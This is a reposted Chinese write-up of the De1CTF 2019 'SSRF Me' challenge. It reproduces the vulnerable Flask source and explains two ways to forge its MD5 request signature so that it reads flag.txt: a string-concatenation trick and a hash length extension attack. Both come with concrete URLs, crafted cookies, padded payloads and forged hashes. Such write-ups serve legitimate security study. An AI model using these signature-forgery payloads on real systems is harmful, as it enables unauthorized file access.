[De1ctf 2019]SSRF Me

2024-01-08 19:41:05

目录

具体做题分析:

字符串拼接:

哈希拓展攻击:


点开是一段flask代码,经过还原后格式如下:

#!/usr/bin/env python

# encoding=utf-8

from flask import Flask, request

import socket

import hashlib

import urllib

import sys

import os

import json


reload(sys)

sys.setdefaultencoding('latin1')


app = Flask(__name__)

secert_key = os.urandom(16)  #秘钥长度16



class Task:

    def __init__(self, action, param, sign, ip):

        self.action = action

        self.param = param

        self.sign = sign

        self.sandbox = md5(ip)

        

        if not os.path.exists(self.sandbox):  # SandBox For Remote_Addr

            os.mkdir(self.sandbox)


    def Exec(self):

        result = {}

        result['code'] = 500

        if self.checkSign():

            if "scan" in self.action:

                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

                resp = scan(self.param)              

                if resp == "Connection Timeout":

                    result['data'] = resp

                else:

                    print resp

                    tmpfile.write(resp)

                

                tmpfile.close()

                result['code'] = 200

            

            if "read" in self.action:

                f = open("./%s/result.txt" % self.sandbox, 'r')

                result['code'] = 200

                result['data'] = f.read()   

        if result['code'] == 500:

            result['data'] = "Action Error"

        else:

            result['code'] = 500

            result['msg'] = "Sign Error"

        return result


    def checkSign(self):

        if getSign(self.action, self.param) == self.sign:

            return True

        else:

            return False

@app.route("/geneSign", methods=['GET', 'POST'])

def geneSign():

    param = urllib.unquote(request.args.get("param", ""))

    action = "scan"

    return getSign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])

def challenge():

    action = urllib.unquote(request.cookies.get("action"))

    param = urllib.unquote(request.args.get("param", ""))

    sign = urllib.unquote(request.cookies.get("sign"))

    ip = request.remote_addr
    

    if waf(param):

        return "No Hacker!!!!"
    

    task = Task(action, param, sign, ip)

    return json.dumps(task.Exec())



@app.route('/')

def index():

    return open("code.txt", "r").read()

def scan(param):

    socket.setdefaulttimeout(1)

    try:

        return urllib.urlopen(param).read()[:50]

    except:

        return "Connection Timeout"

def getSign(action, param):

    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):

    return hashlib.md5(content).hexdigest()

def waf(param):

    check = param.strip().lower()
    

    if check.startswith("gopher") or check.startswith("file"):

        return True

    else:

        return False

if __name__ == '__main__':

    app.debug = False

    app.run(host='0.0.0.0', port=80)

这段代码使用 Python 的 Flask 框架实现了一个简单的 Web 应用。以下是代码的基本功能:

  1. 定义了一个名为 Task?的类,该类用于处理用户请求并执行相应的操作。
  2. 实例化了一个名为 app?的 Flask 应用对象。
  3. 定义了一个 /geneSign?路由,用于生成签名。
  4. 定义了一个 /De1ta?路由,用于处理用户的请求,并返回 JSON 格式的响应结果。
  5. 定义了一个 /?路由,用于返回一个名为 code.txt?的文件内容。

在 Task?类中,有以下几个方法:

  • __init__(self, action, param, sign, ip):初始化方法,用于设置任务的属性,并创建一个与客户端 IP 相关的沙盒目录。
  • Exec(self):执行任务的方法,根据不同的操作类型执行相应的动作,并返回执行结果。
  • checkSign(self):检查签名的方法,验证请求中的签名是否正确。
  • scan(param):扫描方法,尝试连接给定的 URL 并返回前 50 个字符的内容。
  • getSign(action, param):生成签名的方法,使用 MD5 哈希算法对参数进行签名。
  • md5(content):计算 MD5 哈希值的方法。
  • waf(param):Web 应用防火墙(WAF)方法,用于检测参数是否包含潜在的攻击代码。

具体做题分析:

这里我们虽然无法直接读取flag.txt,但是可以传参给param参数读取

def scan(param):

????socket.setdefaulttimeout(1)

????try:

????????return urllib.urlopen(param).read()[:50]

????except:

????????return "Connection Timeout"

注意到一个生成签名的函数:

def?getSign(action,?param):?

return?hashlib.md5(secret_key +?param +?action).hexdigest()

以下代码得知action默认为”scan”

@app.route("/geneSign", methods=['GET', 'POST'])

def geneSign():

????param = urllib.unquote(request.args.get("param", ""))

????action = "scan"

return getSign(action, param)

也就是说如果访问/geneSign?param=flag.txt?,会得到一个 md5(这个md5相当于“secret_key +?flag.txt+?scan”的MD5加密)

注意到以下代码

if "scan" in self.action:

????????????????tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

????????????????resp = scan(self.param)

????????????????

????????????????if resp == "Connection Timeout":

????????????????????result['data'] = resp

????????????????else:

????????????????????print resp

????????????????????tmpfile.write(resp)

????????????????

????????????????tmpfile.close()

????????????????result['code'] = 200

????????????

if "read" in self.action:

????????????????f = open("./%s/result.txt" % self.sandbox, 'r')

????????????????result['code'] = 200

????????????????result['data'] = f.read()

? 这段程序会根据传入的任务动作self.action来执行不同的操作。如果任务动作是"scan",那么程序会执行scan函数来进行扫描操作,并将扫描结果写入一个临时文件中,文件路径为当前沙箱目录下的result.txt文件。

如果任务动作是"read",则程序会读取之前保存在临时文件中的扫描结果,并将结果保存在响应消息中,然后返回响应码200表示操作成功。

?如果action里面是“readscan”或者“scanread”则会先扫描并写入结果,后读取结果并回显。显然我们要构造readsacn以下提供两种解法:

字符串拼接:

访问 /geneSign?param=flag.txtread?,得到md5(secret_key +?flag.txtread+?scan)的值为33c3d402c2d927665edcfdbde564d14a?(也就相当于action变成了readscan然后拼接秘钥和flag.txt加密了),然后抓包直接访问 /De1ta?param=flag.txt?且构造cookie请求头Cookie:action=readscan;sign=33c3d402c2d927665edcfdbde564d14a

哈希拓展攻击:

相关文章:哈希拓展攻击CTF题做法-CSDN博客

??首先在kali下载相关工具hash-ext-attack:

????git clone https://github.com/shellfeel/hash-ext-attack.git

????cd /home/kali/hash-ext-attack/

????pip install -r requirements.txt

??在secret_key +?param +?action里,已知secert_key = os.urandom(16)(长度16),已知明文flag.txt和scan,我们需要添加read。

把flag.txt算进秘钥长度里,则秘钥长度为16+8,已知明文为scan,已知hash(secret_key +flag.txt+scan的加密)为8370a8f86a7a74b4053d1bc554a9d126,

扩展字符为read,启动刚刚的脚本依次填入得到新明文和新hash,

然后访问 /De1ta?param=flag.txt抓包添加cookie:

Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%00%00%00%00%00%00%00read;sign=51550ee14b4e7b4e0479e5b44fc33d23

得到flag

文章来源:https://blog.csdn.net/2301_76690905/article/details/135464067
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。